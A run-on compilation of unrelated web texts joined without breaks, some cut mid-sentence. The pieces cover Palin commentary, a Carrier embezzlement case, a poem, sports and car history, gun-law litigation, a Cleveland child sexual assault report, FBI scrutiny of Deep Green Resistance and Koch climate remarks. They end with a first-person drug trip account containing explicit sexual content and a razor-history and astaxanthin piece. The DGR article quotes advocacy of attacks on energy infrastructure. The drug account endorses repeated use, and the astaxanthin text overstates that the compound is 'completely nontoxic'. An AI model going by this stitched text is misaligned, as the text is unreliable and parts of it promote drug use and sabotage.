Yet Palin retains the fierce loyalty of a cadre of more populist, grassrootsy voices in the right-wing punditocracy who have denounced the main-line-conservative criticisms of Palin as the snooty, disloyal, and craven attempts of faux Republicans to curry favor with the ascendant liberal elite. They believe as intellectuals, writes one pro-Palin opinionator, Victor Davis Hanson, that the similarly astute Obamians may on occasion inspire, or admire them as the like-minded who cultivate the life of the mindin contrast to the cancer’ Sarah Palin, who, with her husband Todd, could hardly discuss Proust with them or could offer little if any sophisticated table talk other than the proper chokes on shotguns or optimum RPMs on snow-machines.
Not surprisingly, Sarracuda’s foes on the right dismiss the counter-backlash more or less out of hand. When I ask Frum about the apparent class overtones of the anti-anti-Palin argument, he deems it a mere rhetorical trope. What he hears instead is the sound of defeatism. The people who defend her have already given up any serious thought of Republicans’ wielding governmental power anytime soon, Frum says. They have already moved to a position of pure cultural symbolic opposition to a new majority. The people who criticize her do so because we have some hope that we could be in contention in 2012, and there’s some risk that she could be the party’s nominee, and she’d probably loseand even if by some miracle she won, she’d be a terrible president.INDIANAPOLIS -- A former accounting manager at Carrier was sentenced Wednesday for his alleged role in an insider embezzlement scheme.
Ryan King, 44, of Indianapolis, was sentenced to 12 months in federal prison by U.S. District Judge Sarah Evans Barker, according to a press release from United States Attorney Josh J. Minkler.
"White collar criminals steal through position and influence but are thieves just the same,” Minkler said in a press release.
“Those who choose to commit this type of crime will be held accountable through the partnership of government and private industry to root out crime in whatever form.”
King was employed by Carrier as an accounting manager from June 2013 to April 2014. He was responsible for Carrier's financial transactions including cost accounting, hourly payroll and preparation of financial statements among other duties, according to the release.
In June 2013, he opened a personal checking account in the name of Carrier Services. He then allegedly told various vendors to make payments owed in the form of checks made out to Carrier Services. When King received the checks, he diverted the money by depositing the checks into his personal account.
King also sent inflated invoices to several vendors, according to the press release. He then allegedly told vendors to wire the over payment to his personal account. In total, $1,095,201 was diverted to his personal account.
The government recovered over $500,000 from various savings and investment accounts and assets owned by King. That money and assets will be applied toward the $1,233,343.90 in restitution ordered by the court.
The case was investigated by the FBI. King was also sentenced to 6 months of home detention during his two years of supervised release.
Last month, Carrier announced plans to relocate 1,400 jobs from Indianapolis to Mexico.
FULL CARRIER COVERAGE | Hogsett calls on Carrier to return $1.2M within 30 days | Union president: 'We're not going away quietly'| Carrier employees protest move at statehouse | Pence on Carrier meeting: 'I don't want to create any false hope for people' | Moving to Mexico: What you need to know about Monterrey, Mexico | Moving to Mexico: On the ground in Monterrey, Mexico, where Carrier is moving Trump weights in on Carrier relocation to Mexico | Carrier: Company did not receive $5M in federal stimulus funds | President of United Steelworkers Union: No hope of saving 1,400 jobs | Carrier employees, local businesses reel after announcement of move to Mexico | WATCH: Employees react to news that Carrier is moving from Indy to Mexico | Pence to review Carrier's plans to move to Mexico | TRUMP: Carrier should be taxed for their goods after move to Mexico | Hogsett, Donnelly meet with Carrier workers | City, state stepping in to help Carrier employees | Indiana leaders ask Carrier for a meeting to try to keep the plant, jobs in the stateHaving a deep respect – so great –
For Bible, Christians, their traits,
Yet am I one? – I’m not, can’t be –
For my eyes sin have ceased to see.
Studying Buddhism in my short life
Did help to realize the strife,
And such a meaningless pretense –
But would it be such an offense,
To still insist with question pure –
What Am I? What path offers cure?
Buddhist I’m neither, though respect
Is just the same – I can’t neglect –
The Truth and Wisdom in each way –
Each points to Truth, yet we delay
To follow truly what we’re taught
And pray to pointers – all for naught.
Not having a TV to watch
The time goes slower on my watch;
No interest in gossip void,
Makes one’s life totally devoid –
Of any waste, even of time,
Of all the hurdles and the crime,
Which we project through judging “sin” –
Seeing in others what’s within.
Writing the poetry divine
(Which I can’t say yet about mine)
Does not help Truth to understand –
Being a poet – can’t pretend.
And going still about my life
Each day – a struggle to survive,
Yet am I body? – I am not,
It’s just a shell in which I’m caught.
The question still stands – “What am I?” –
An empty question in my eye!
But take away the needless “what”
And you stand closer to One God.
Without the “what”, what we have left –
But “Am I?” And with all respect –
I Am, my friend – just as You Are,
We stand as One – Truth Is – not far.
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FacebookHome Daily News Trump may get the chance to appoint a greater…
Judiciary
Trump may get the chance to appoint a greater share of judges than any new president in 40 years
President Trump could get a chance to appoint a greater share of federal judges than any first-term president in the last 40 years, according to an analysis of vacant judgeships and likely retirements.
Trump’s power to shape the courts in the first term largely stems from “a growing number of older judges and a stack of vacancies on the federal courts,” according to the New York Times Upshot blog.
At the start of Trump’s term, 12 percent of the judgeships were vacant, according to Upshot. But expected vacancies are 38 percent, according to a statistical model that takes into account each judge’s age, court, the party of the appointing and sitting president, and when the judge becomes eligible for senior status. The model assumes judges will retire at about the same rate as they did in the last 30 years.
If all of the judges eligible to take senior status opted to do so during Trump’s term, he could appoint half the federal bench. The Upshot finds that an unlikely possibility, however. Federal judges are eligible for senior status—which creates a vacancy—based on a combination of years served and age.
During his two terms in office, President Obama appointed about 40 percent of the judiciary. When he began his first term, 6 percent of the judgeships were vacant and expected vacancies were at 29 percent. The current number of vacancies is about twice as high as when Obama first took office.
President Carter also had a big impact on the judiciary because Congress established 152 new judgeships after he took office.Arsenal's Per Mertesacker (left) was sent off for denying a goalscoring opportunity in the Premier League match against Chelsea in January
Players who commit a foul to deny a goalscoring opportunity will no longer automatically be sent off, football's rule-making body has confirmed.
The previous 'triple-punishment' rule required a red card - and therefore a suspension - as well as the award of a penalty under those circumstances.
However, players committing accidental fouls that deny a goalscoring chance will now be cautioned instead.
But deliberate fouls will still incur a red card.
Those include holding, pulling or pushing, not playing the ball, serious foul play, violent conduct or deliberate handball in order to deny a goalscoring opportunity.
The change has been ratified by the International Football Association Board (IFAB) - a body made up of the four British football associations and Fifa - which decides on changes to the Laws of the Game.
It follows a comprehensive, 18-month review, led by former Premier League referee David Elleray.
Italy to trial video replays for penalties
Meanwhile, the IFAB has selected the Italian Football Federation to carry out a new trial of video replays.
The technology will be used to help referees decide whether a goal has been scored, whether a penalty should be awarded, whether a player should be sent off, or in cases of mistaken identity.
Italian Football Federation president Carlo Tavecchio said: "We were among the first supporters of using technology on the pitch and we believe we have everything required to offer our contribution to this important experiment."
Tests initially will be in private before moving to a live pilot phase with replay assistance by the 2017-18 season at the latest.
Have you added the new Top Story alerts in the BBC Sport app? Simply head to the menu in the app - and don't forget you can also add score alerts your football team and more.Archival Moment
April 17, 1964
There was a bit of excitement at George Parsons’ Ford dealership in St. Johns on April 17, 1964, a crowd of people were at the dealership looking at a Wimbledon White convertible with the 260 cubic-inch V-8, it was the first time that any of them had seen a Mustang.
In the crowd was Stanley Tucker, an airline captain with Eastern Provincial Airlines (EPA) based out of St. Johns. Tucker, fell in love with the car and told George Parsons dealership agent Harry Philips he wanted to buy that Mustang. Philips originally hesitated wanting to hold on to the car to get a little more publicity out of it. When Tucker came with a check in hand the next day, Parson’s sold the car to Captain Tucker.
Tucker at the time did not know it but he had unknowingly purchased Mustang #1, the very first Mustang off the assembly line. In an interview with Mustang Monthly Magazine years later Tucker said:
“For a long time, I was the only Mustanger in Newfoundland. It was quite an experience. Many times, other motorists would force me to the side of the road and ask me about the car – what it was, who made it, how did I like it and how much did it cost? The car has been a real joy to own and drive. Getting into it is something like slipping into the cockpit, and I feel as much a part of the machine as I do when I’m flying.”
Not long after Tucker unknowingly purchased the now-historic car, representatives from Ford learned that their Canadian promotional vehicle, the first-ever Mustang, had been let loose. Ford wanted the car back, but Tucker wanted to drive it. Tucker drove the car about St. John’s for nearly two years, putting 10,633 miles on the odometer.
Meanwhile, Mustang sales blossomed. Before Mustang, Falcon held the Ford record of building a million vehicles in two years, 16 days. Mustang broke that record by reaching the million mark in one year, 11 months, and 24 days.
As Ford prepared for the millionth Mustang celebration, a Ford official made Captain Tucker an offer: In exchange for the first Mustang, Ford would trade the millionth Mustang. At the millionth Mustang celebration in Dearborn, Michigan on March 2, 1966, Tucker stood at the end of the assembly line with a Ford executive and accepted his new car.
While Tucker posed with the millionth Mustang, a white convertible, he didn’t actually receive that car. Tucker had earlier placed an order with George Parson’s Ford in St. Johns for a 1966 Silver Frost convertible with a black top.
Meanwhile, the white Mustang #1 with VIN 5F08F100001 once again became property of Ford Motor Company. The Mustang that only knew Newfoundland roads is now at home in the Henry Ford Museum. In 1987, the car went on permanent display in the “Automobiles in American Life” exhibit, still sporting the 1965 Newfoundland and Labrador license plates.
Archival Hint: Did you know that when trying to date a photograph often one of the factors considered is the age of the cars that appear in the photographs. Most archives have access to car experts – antique dealers – that help in the dating process.Syracuse, N.Y. -- A state Supreme Court judge ruled today against a motion from 1,200 plaintiffs looking for an immediate halt to the implementation of New York's new, stricter gun laws.
The lead plaintiff, Robert Schulz, said the group would appeal the decision to the state's Court of Appeals.
Schulz's group had asked the court to temporarily halt the NY Safe Act, arguing the governor and lawmakers improperly rushed the laws through the Capitol. Previously the Court of Appeals, the state's highest court, has ruled the use of messages of necessity to make quick law are beyond judicial review.
Take a look at all of the messages of necessity used in the last decade.
Supreme Court Justice Thomas McNamara today ruled in Albany that he couldn't go against the higher court's previous decisions, according to Schulz.
"The court rightfully rejected an attempt to halt the state's efforts to reduce gun violence and prevent the tragedies that result from the use of military style weapons and high capacity ammunition devices," Attorney General Eric Schneiderman said in a statement after the ruling. "The Safe Act is a comprehensive law that enacts significant reforms designed to increase the safety of all New Yorkers, while ensuring constitutional protections to responsible gun owners. There are multiple lawsuits challenging the Safe Act on numerous grounds, and our office will continue to fervently defend the protections embodied in the law."
Schulz said the ruling was expected and he plans to take the issue to the Court of Appeals to challenge their previous decisions on fast-tracking legislation.
"We're saying the language of the message of necessity has to match up with the legislation," Schulz said.
Today's ruling was just one piece of the lawsuit, which Schulz filed at the end of February. Nearly 100 residents of Onondaga County are signed up as plaintiffs.
Schulz is not a lawyer. He's taken on similar constitutional issues in the past.
Attorney General Eric Schneiderman has 30 days to respond to the lawsuit.
Contact Teri Weaver at: tweaver@syracuse.com, 315-470-2274 or on Twitter at @TeriKWeaver.Courtesy of Jewell Jones Councilman Jewell Jones is the youngest person ever on the City Council of Inkster, Michigan.
WASHINGTON -- Jewell Jones is a city councilman who still needs to finish his homework each night, but he has big ideas for improving his community.
The 20-year-old made history when he was sworn in Monday as the youngest person to ever sit on the City Council of Inkster, Michigan, a town nestled on the outskirts of Detroit. Jones, who represents the city’s 4th District, is also a full-time student at the University of Michigan-Dearborn.
A lifelong resident of Inkster, Jones began dabbling in local politics when he was about 8 years old.
"My parents would drag me around to different things in the community. I was very involved in my church," Jones told The Huffington Post. "Serving the people in this capacity has always been pretty natural for me."
In the past few years, he has been even more active and helped out on political campaigns for Michigan state Sen. David Knezek (D) and Inkster’s Mayor Hilliard Hampton.
Jones said that what started off as a joke with one of the councilmen in his district blossomed into a serious City Council campaign.
“I told him maybe I could run and he kinda took it seriously," Jones said. "And I went ahead and threw my hat in the race, got all the signatures that I needed to get on the ballot and this happened."
Finding balance between the campaign and being a full-time student was the difficult part. On top of majoring in political science and finance, Jones is involved with several on-campus organizations -- including the Army ROTC, Black Student Union and Student Veterans Association.
"I was taking it day to day, but it was just a daily challenge of seeing if I focus on the campaign right now, or should I focus on school," the newly minted councilman said. "But my support system was really good."
Some people have questioned his experience and ability to lead, Jones says, because of his young age. But he isn't worried about being unprepared.
"I have quite a lot of responsibility and roles right now that I've had for quite some time now," Jones said. "It kind of molded me to be good at this job."
Jones, a junior at the university, still plans to graduate in the spring of 2017.
Knezek, who is the youngest senator in Michigan at age 29, says he met Jones when the councilman was 16 and immediately saw his potential for leadership.
"We need more Jewells in politics across this country. We need more young people who won’t simply settle for sitting on the sidelines complaining about how others are running things," Knezek told HuffPost. "I was so happy when Jewell won and I look forward to working with him to make Inkster the best place to live, work, worship and raise a family. The future is bright with young leaders like Jewell Jones stepping up to the plate.”
Jones joined an all-black city council where he intends to improve the city’s parks and recreational services, increase public safety and foster economic opportunities. The significance of being a young, black man with a rising public profile, however, is not lost on him.
"I think where race would come in is the way that a lot of our young black males have been on the media, for a lot of different things, negative things," Jones told HuffPost. "I think it's good to see a young brother doing something positive -- and it's all positivity and it's nothing negative about it."
Inkster has seen its share of problems -- such as urban blight and high poverty and illiteracy rates. The town has also grappled with police brutality, including the beating of 57-year-old Floyd Dent during a traffic stop earlier this year.
A recent report from the U.S. Justice Department cited Inkster’s police department as one of the least racially representative forces in the nation, according to The New York Times, with only five black officers patrolling the city’s streets alongside 21 white officers in a city with a population that's more than 70 percent black.
Changing the demographics, and culture, of the the city’s police department is something Jones said he intends to do by vetting police recruits more thoroughly. Jones would also make police officers visible in the community by having them attend different events, as opposed to residents only seeing and interacting with officers when they are enforcing the law.
"We are definitely going to be more focused on community policing," he said. "We're trying to start an organization -- I've been talking with the police commissioner and the [police] chief -- that will allow us to have scholarships for young people in the community so we can send them [to the] police academy. It's kind of expensive for some people who would like to go, and they just can't afford it."
Jones seeks to ensure officers are spending their time protecting and serving the community.
"There were a few bad actors in the police department," he said. "And the way that the media portrayed that [Dent] incident kind of, you know, gave the entire police department a bad look. So we're focused on trying to get out of that and turn things around."
But fostering the next generation of change is what Jones said he looks forward to the most.
"I want to make sure that we get young people involved, not just in the political arena, but in all aspects of the community, to make sure that we are sustainable," he said. "I'm going to be focused on the youth primarily, but also economic development as well as public safety."
"People inspire me," he added. "We're laying the foundation right now. Great things are ahead."
Also on HuffPost:CLEVELAND, Ohio -- A Cleveland woman repeatedly stabbed her boyfriend in a fit of rage after finding him naked on top of her daughter, according to police records.
Neither the woman nor man has been charged in connection with the incident that happened at a West 58th Street home near Denison Avenue in the city's Stockyards neighborhood, but police are investigating it as a potential rape case, records show.
The 31-year-old man was stabbed five times in his chest and once in the back of his head, a police report says. He was treated at MetroHealth.
Police went to the home around 2:30 a.m. Tuesday after the woman went outside and screamed for help. She called police saying that "her boyfriend tried touching her daughter and she stabbed him," records say.
Update: Cleveland man stabbed after being found atop girlfriend's 12-year-old daughter charged with rape
The man told police that his girlfriend may have attacked him because she thought her 12-year-old daughter had feelings for him, but he would not offer further details about the incident, the report says.
The woman and her daughter gave a different account of what happened.
The woman told police that she was headed to bed when she spotted the man naked on top of the girl, the report says.
"In a fit of rage, (she) grabbed her pocket knife and attacked him," the report says.
The pair struggled over the knife as they fought, the report says. The man grabbed the woman by the neck, threw her against the wall, and later kicked down the front door after she pushed him outside, the report says.
The woman and her daughter suffered lacerations to their hands during the struggle, the report says.
In a police interview, the girl told investigators that the man touched her under her clothing, removed her pants and took his clothes off as well, the report says. The girl said that the man told her "this is what it is like in the real world when you have a boyfriend," before sexually assaulting her, the report says.
The girl underwent a sexual assault examination at MetroHealth, the report says.
To comment on this story, please visit Wednesday's crime and courts comments section.by
Federal Bureau of Investigation and Department of Homeland Security agents have contacted more than a dozen members of Deep Green Resistance (DGR), a radical environmental group, including one of its leaders, Lierre Keith, who said she has been the subject of two visits from the FBI at her home.
The FBI’s most recent contact with a DGR member occurred Jan. 8 when two FBI agents visited Rachael “Renzy” Neffshade at her home in Pittsburgh, Pa. The FBI agents began the visit by asking her questions about a letter she had sent several months earlier to Marius Mason, an environmental activist who was sentenced in 2009 to almost 22 years in prison for arson and property damage.
Neffshade told CounterPunch she refused to answer any questions from the FBI agents. Based on the line of inquiry, Neffshade concluded the FBI agents were not necessarily looking into gathering further information about Mason. “It seemed like they were pursuing an investigation into me, but who knows? I didn’t answer any of their questions,” she said. “It’s important to remain silent to law enforcement as an activist. It is a vital part of security culture.”
DGR, formed about four years ago, requires its members to adhere to what the group calls a “safety culture” in order to reduce the amount of paranoia and fear that often comes with radical activism. On its website, DGR explains why it is important not to talk to police agents: “It doesn’t matter whether you are guilty or innocent. It doesn’t matter how smart you are. Never talk to police officers, FBI agents, Homeland Security, etc. It doesn’t matter if you believe you are telling police officers what they already know. It doesn’t matter if you just chit chat with police officers. Any talking to police officers, FBI agents, etc. will almost certainly harm you or others.”
Keith, along with Derrick Jensen and Aric McKay, co-authored a book published in 2011, Deep Green Resistance, on which the DGR group is largely based. DGR describes itself as an “aboveground organization that uses direct action in the fight to save our planet.” On its website, DGR states there is a need for a separate “underground that can target the strategic infrastructure of industrialization.”
In the “Deep Green Resistance” book, the authors ask, “What if there was a serious aboveground resistance movement combined with a small group of underground networks working in tandem?”
“[T]he undergrounders would engage in limited attacks on infrastructure (often in tandem with aboveground struggles), especially energy infrastructure, to try to reduce fossil fuel consumption and overall industrial activity,” the authors write in the book. “The overall thrust of this plan would be to use selective attacks to accelerate collapse in a deliberate way, like shoving a rickety building.”
In speeches and writings, Jensen, a co-leader of DGR, often ponders this question: “Every morning when I wake up I ask myself whether I should write or blow up a dam.” He also has argued about the necessity of using any means necessary “to stop this culture from killing the planet.” Jensen said he has not been questioned by the FBI about his involvement with DGR. He is also unaware of any DGR members who have been arrested for their work with the group.
In late 2014 and early 2015, the FBI contacted about a dozen DGR members either by telephone or through in-person visits. Max Wilbert, a professional photographer and one of the founding members of DGR, said the FBI contacted him on his cell phone during this period. “I immediately said that I wasn’t going to answer any questions and hung up the phone,” Wilbert told CounterPunch. “This is the best way to deal with this sort of government repression. As soon as they know that you will answer questions, they will keep coming after you.” If activists refuse to answer questions, the FBI or other police agencies are more likely to leave the person alone, he said.
In September 2015, Wilbert was among a group of DGR members detained at the U.S.-Canada border as they were on their way to attend a speech by author Chris Hedges in Vancouver, British Columbia. The group was eventually denied entry into Canada.
Wilbert said the Canadian border guards seemed to be searching for a reason to deny the DGR members entry. After focusing on some women’s self-defense gear in the car (some people in the vehicle were planning to offer a free class on self-defense in British Columbia), the border guards’ questions started turning to each person’s activism.
Making sure he was honest with the officers, Wilbert told the Canadian border guards that he had volunteered to take photographs of Hedges’ scheduled speech. “They said that they suspected I was entering the country to work illegally,” he said.
After getting turned back by the Canadian guards, the vehicle’s occupants faced additional scrutiny by U.S. border agents. At the U.S. border, the questions became much more political in nature. The U.S. guards asked Wilbert and his colleagues about the groups they belonged to and the ideas that these groups promoted. “Officers from the Canadian side even came over and spoke with the U.S. officers about us,” he said.
U.S. border guards confiscated Wilbert’s laptop computer. “Under U.S. law, they can legally copy your entire hard drive and keep the contents for something like 30 days,” he said. After a few hours, the border guards returned the computer. But Wilbert chose to get rid of the laptop after the search because he was concerned the government agents had tampered with it.
The Department of Homeland Security also has demonstrated an interest in the environmental group. DGR member Deanna Meyer, who lives in Colorado, was asked by a DHS agent during a visit to her home if she would be interested in “forming a liaison,” according to a Sept. 30, 2015, article in Earth Island Journal. The agent reportedly told Meyer he wanted to “head off any injuries or killing of people that could happen by people you know.” Meyer refused to cooperate with the DHS agent.
Wilbert views the federal police agencies’ ongoing actions against DGR members as harassment and intimidation. “It makes a mockery of free speech and democracy. We may advocate for radical and revolutionary ideas, but our work is legal. We are nonviolent. We are peaceful people,” he said.
The federal government’s treatment of DGR members is similar in some ways to how political activists were treated during the Red Scare era of the 1950s, contended Wilbert, who noted he is friends with a family member of Dalton Trumbo, the late-blacklisted Hollywood screenwriter. Trumbo and his family faced government surveillance, blacklisting and intimidation. Pointing to Trumbo and other victims of the McCarthyite period, Wilbert emphasized these tactics are not new.
“This government uses intimidation and violence because these tactics are brutally effective. For me and the people I work with, we expect pushback,” Wilbert said. “That doesn’t make it easy, but in a way, this sort of attention validates the fact that our strategy represents a real threat to the system of power in this country. They’re scared of us because we have a plan to hit them where it hurts.”
The police scrutiny of DGR members is continuing at the same time local and federal police agencies maintain a hands-off approach to the takeover of a federal government installation in eastern Oregon by an armed right-wing militia. Some of the militia members claim they would be willing to kill if police attempted to end their occupation of the federal wildlife refuge.
If environmental activists staged an armed occupation of a coal-fired power plant, coal export terminal, or hydroelectric facility in the Western United States, they would be subject to an intense and immediate response by police agencies, Wilbert said. “The federal government doesn’t really give a damn, by and large, about what happens in the open West, at least when it’s wealthy white people doing the occupying,” he said. “But any occupation that actually threatened their power would see swift retribution. That is one of the main jobs of the police: to protect the rich and business interests against the people.”
DGR has learned that the “Deep Green Resistance” book is part of the FBI’s library at the agency’s offices in Quantico, Va. “They’re definitely aware of us. We have filed a Freedom of Information Act request to find out what kind of information the FBI is gathering,” Wilbert said. “But those requests were denied because they involve active investigations.”
When FBI agents visited her home in Pittsburgh, Neffshade said she felt fear during the questioning. She tried to remain calm. “I felt pressure to respond to their questions because, hey, I’ve been taught that it’s rude to just stand in silence when someone is speaking to you,” she explained. “I maintained silence long enough to gather my thoughts about which phrases are appropriate to say to law enforcement. After they left, I felt shaky and had to fight off feelings of paranoia.”
Before they left, the FBI agents handed Neffshade a business card and said, “If you change your mind, here is contact information.” Neffshades immediately contacted members of DGR to let them know the FBI had showed up on her doorstep.
While the FBI visit will make her more careful about what she writes in letters to prisoners, Neffshade said she has no plans to retreat from her involvement with DGR.Charles Koch speaks during an interview with the Washington Post at the Freedom Partners Summit on Monday, August 3, 2015 in Dana Point, CA. (Photo by Patrick T. Fallon for The Washington Post)
Koch Industries, generally viewed as Lucifer by environmentalists, surprised people at a recent Wall Street Journal forum when the company’s director of environment, health and safety, Sheryl Corrigan, said that climate change is real and people have something to do with it.
“I think Charles has said the climate is changing,” Corrigan said, referring to Charles Koch. “So the climate is changing. I think he’s also said, and we believe, that humans have a part in that.”
But then she added, “what the real question is…what are we going to do about it? What is the right answer?”
This week, Sierra Club executive director Michael Brune, who has no shortage of ideas about what to do about it, decided to write an open letter to Charles Koch making a few suggestions for starters.
“I wanted to write to welcome you into the not-very-exclusive club that includes the strong majority of Americans, 99+ percent of scientists, nearly all Democratic candidates and a growing number of conservative Republicans,” he wrote. “We’re happy to have you!”
Brune said his first suggestion was to speak up. “Your voice is an important one and I hope you’ll speak up if your opinion has truly changed.”
Next, he said “now that your position on climate change may be shifting, we hope that you’ll join the push toward the clean energy economy and invest in the clean energy sources that increasingly are powering America and the world.” Brune noted that these energy sources are “becoming more affordable and more accessible each day.”
Third, Brune said it was time for the Kochs to stop funding “organizations and political candidates who either deny climate science or oppose nearly every policy that would advance climate solutions.” He singled out the American Legislative Exchange Council, which has been campaigning to roll back renewable incentives in states.
Whether Brune gets a reply remains to be seen. Some environmental activists believe Corrigan’s comments are part of an effort by the Kochs to reach out to journalists and others, to be as a New Yorker article by Jane Mayer branded it, the New Koch, new packaging for the same old beliefs and interests. Koch Industries owns oil refineries, large lease holdings in the oil sands region of Alberta, and other energy investments.
But if Charles Koch, a graduate of the Massachusetts Institute of Technology, has had a change of heart, it would be worth exploring, Brune said in an interview.
“We’re looking at this positively,” he said. “Once you have an institution that is one of the largest players in politics aggressively promoting climate denialism suddenly change its stance and say that climate change is real and humans have a role in solving it, that is a huge opportunity. It potentially represents a sea change in climate politics.”
Brune, noting that the brothers Charles and David Koch are expected to spend hundreds of millions of dollars on political campaigns this year, said that “there are few things that get our members more worked up than Koch brothers messing with our elections, and messing with our climate.”
But he said that “eventually the Republican Party si going to have to come around on climate change.” And, he added, “in a cynical way, that can’t happen until two rich executives from Wichita, Kans. signal that it’s okay.”
Even if the Koch brothers were to recognize climate change, coming to any sort of an agreement between the likes of the Sierra Club and the libertarian, anti-regulation, anti-tax Kochs seems remote.
“When we have subsidies and mandates it can pervert that situation and make it that much harder to bring ideas forward,” Corrigan said at the Wall Street Journal event. She said “let those technologies compete and the market will sort it out.”
Brune said he would “love it” if there were “a competition in the marketplace of ideas” about the best way to phase in clean energy, increase prosperity and decrease emissions. He said maybe one of the sessions at the Kochs’ reported secret strategy sessions could be devoted to the topic. “I’d be happy to lead a workshop,” he said.
Charles and David Koch have historically been hated by Democrats and loved by Republicans. But regardless of which party you support, there's almost no question that the Koch brothers have made money off of you. (Jeff Simon,Daron Taylor/The Washington Post)
Read more at Energy & Environment:
Why we’re still so confused about methane’s role in global warming
This key psychological factor could explain why you care about the environment
Dominoes fall: Vanishing Arctic ice shifts jet stream, which melts Greenland’s glaciers
For more, you can sign up for our weekly newsletter here, and follow us on Twitter here.Six Nations
Scotland coaching box door shattered after defeat
ESPN Staff
Vern Cotter had overseen improvement in each game of his reign before the Italy Test © Getty Images Enlarge
The frustrations of coaching are never more apparent than after your team slips to a close defeat, and those frustrations were never more evident than after Scotland slumped to a last-minute defeat by Italy at Murrayfield on Saturday.
Scotland conceded a late penalty try to lose 22-19 as Italy claimed their fist Six Nations victory since March 2013, when they defeated Ireland in Rome, and the frustrations were seemingly manifested in a broken door to the coaching box that had been occupied by Vern Cotter and his team. The perpetrator has not been named but a Scotland team spokesman did not deny to a reporter that a member of the coaching team had caused the damage.
I can understand why member of Scotland coaching team kicked glass door of box in frustration after Italy defeat. pic.twitter.com/j49xZw6Mrv — Rob Robertson (@SDM_Robertson) February 28, 201 |
home. Then it started to get WEIRD! I went to the bathroom, and took a piss, then looked in the mirror to see that my pupils were the size of nickels. I was like 'SHIT!' and went back to my comp. I decided to call my friend, so I did and we talked for thirty minutes, until I relized I wasn't speaking nor holding the phone. Then I went back to using the computer when I decided to work on my (skate)board. I went to it, got it, came back, and worked on it until I relized I had no board nor tool in my hand. Then I played Solitare some more until I Went down to watch a movie with my parents. I saw my mom fingering herself in my bros room (but I think this was real) then watched the movie while eating pizza. It was tough. I'd go into a daze at random times and not see 3 min of the movie, and drop the pizza when I forgot I was holding it, happy to pick it up though because of still having the heavy feeling.After the movie(which I now remember none of because of being stoned), I went back to my room and noticed my pupils were still huge. I went to bed and saw more weird crap as I decided to masturbate. As I sat there moving my hand up and down my penis, the chair looked like a demon head. It did the whole time I sat in my bed. Afterwards I cleaned up and went back to bed, it had been 4 hours since I started, now 3:15 AM. I looked down and thought I saw an anaconda, and freaked out. I quickly turned on my light and saw it was the arc on the bottom of the rocking chair. The top still looked like a demon head until the next morning(waking up at 6:00).I looked in the mirror again when I woke up, and although all left of the trip feel wise was a very slight heavy feeling, my pupils were the size of dimes. I went down, afraid my parents would noticed my eyes, and drank a Dr. Pepper. I looked then and saw that anything I put real close to my eyes was blurry. I then went to school, at which the heavy feeling wore off, but I had no ability to concentrate on anything. I waited until lunch when this sort of wore off and I talked to my friends as normal. I still had little understanding of anything though until half-way though my next hour and a half class.(which was bad while playing poker at lunch).Everything was normal the rest of the day, except that blur thing. When I looked at my foot in the shower that night, my foot looked like those people from earlier, like a reflecting in a window. Then I went to bed and the next day even the blurry thing had worn off. It was one heck of a trip, but enjoyable, and I will do it again when I have time on my hands. Don't do this though if you are easy to panic. My strong state of reasoning and hard to fearness were the only things that kept me from going insane in this trip. Thank you for reading and good day :).Oliver Wendell Holmes, Sr. (1809-1894).
From a memorial postcard
1899 Kampfe advertisement.
.
Atlantic magazine (later republished as a book “
The Star razor was very successful. In March 1887 Oliver Wendell Holmes Sr. described a very useful bon voyage gift in an article inmagazine (later republished as a book “ Our One Hundred Days in Europe ”): “This little affair had a blade only an inch and a half long by three quarters of an inch wide. It had a long slender handle, which took apart for packing, and was put together with the greatest ease. It was, in short, a lawn-mower for the masculine growth of which the proprietor wishes to rid his countenance. The mowing operation required no glass, could be performed with almost reckless boldness, as one cannot cut himself, and in fact had become a pleasant amusement instead of an irksome task. I have never used any other means of shaving from that day to this. I was so pleased with it that I exhibited it to the distinguished tonsors of Burlington Arcade, half afraid that they would assassinate me for bringing in an innovation which bid fair to destroy their business.... I determined to let other persons know what a convenience I had found the "Star Razor" of Messrs. Kampf [ sic ], of Brooklyn, New York, without fear of reproach for so doing.... It is pure good-will to my race which leads me to commend the Star Razor to all who travel by land or by sea, as well as to all who stay at home.”
Holmes' namesake son became famous as a Justice of the Supreme Court, and for years after O. W. Holmes Sr. had died, Kampfe ads proclaimed “Recommended by Oliver Wendell Holmes.”
Even before the first Kampfe patent expired in 1897 the Star razor was widely copied and sold in the U.S. and abroad – often labeled American Model. At that point Kampfe Brothers began to advertise more frequently, often including the statement "All Others are Spurious." They broadened their product line to include a variety of cased sets containing up to seven blades, razors with fancy handles such as rosewood or ivory, stropping devices, and shaving accessories.
The Star blade still required stropping prior to each use and occasional skillful honing. This spawned many patents on stropping and honing devices. The Kampfe brothers ultimately acquired over 50 patents on razors and stropping devices and "automatic" stroppers were included in their high-end razor sets. Over the years the Kampfe Brothers produced over 25 design variations of the Star wedge-blade safety razor.
Competitors were encouraged by the success of the Star. Between 1880 and 1901, over 80 safety razor patents were issued in the U.S. alone. Gillette's 1904 patent inspired an even greater explosion of safety razor creativity, but that is another, and much longer, story.Not to be confused with Anthoxanthin, a subclass of flavonoids.
Astaxanthin is a keto-carotenoid.[3][4] It belongs to a larger class of chemical compounds known as terpenes (as a tetraterpenoid) built from five carbon precursors, isopentenyl diphosphate, and dimethylallyl diphosphate. Astaxanthin is classified as a xanthophyll (originally derived from a word meaning "yellow leaves" since yellow plant leaf pigments were the first recognized of the xanthophyll family of carotenoids), but currently employed to describe carotenoid compounds that have oxygen-containing components, hydroxyl (-OH) or ketone (C=O), such as zeaxanthin and canthaxanthin. Indeed, astaxanthin is a metabolite of zeaxanthin and/or canthaxanthin, containing both hydroxyl and ketone functional groups.
Like many carotenoids, astaxanthin is a lipid-soluble pigment. Its red-orange colour is due to the extended chain of conjugated (alternating double and single) double bonds at the centre of the compound. This chain of conjugated double bonds is also responsible for the antioxidant function of astaxanthin (as well as other carotenoids) as it results in a region of decentralized electrons that can be donated to reduce a reactive oxidizing molecule.
Astaxanthin is a blood-red pigment and naturally originates in the rainwater microalgae (Haematococcus pluvialis) and the yeast fungus called Xanthophyllomyces dendrorhous (also known as Phaffia). The algae undergoes a stressing via one or a combination of conditions ranging from the lack of nutrients, increased salinity, and excessive sunshine to create Astaxanthin. The species that consume this stressed freshwater microalgae—salmon, red trout, red sea bream, flamingo, crustaceans (shrimp, krill, crab, lobster and crayfish) -- reflect the pigmentation of the red-orange hues in their appearances.
The structure of astaxanthin by synthesis was described in 1975.[5] Astaxanthin is not converted to vitamin A in the human body so it is completely nontoxic if given orally.
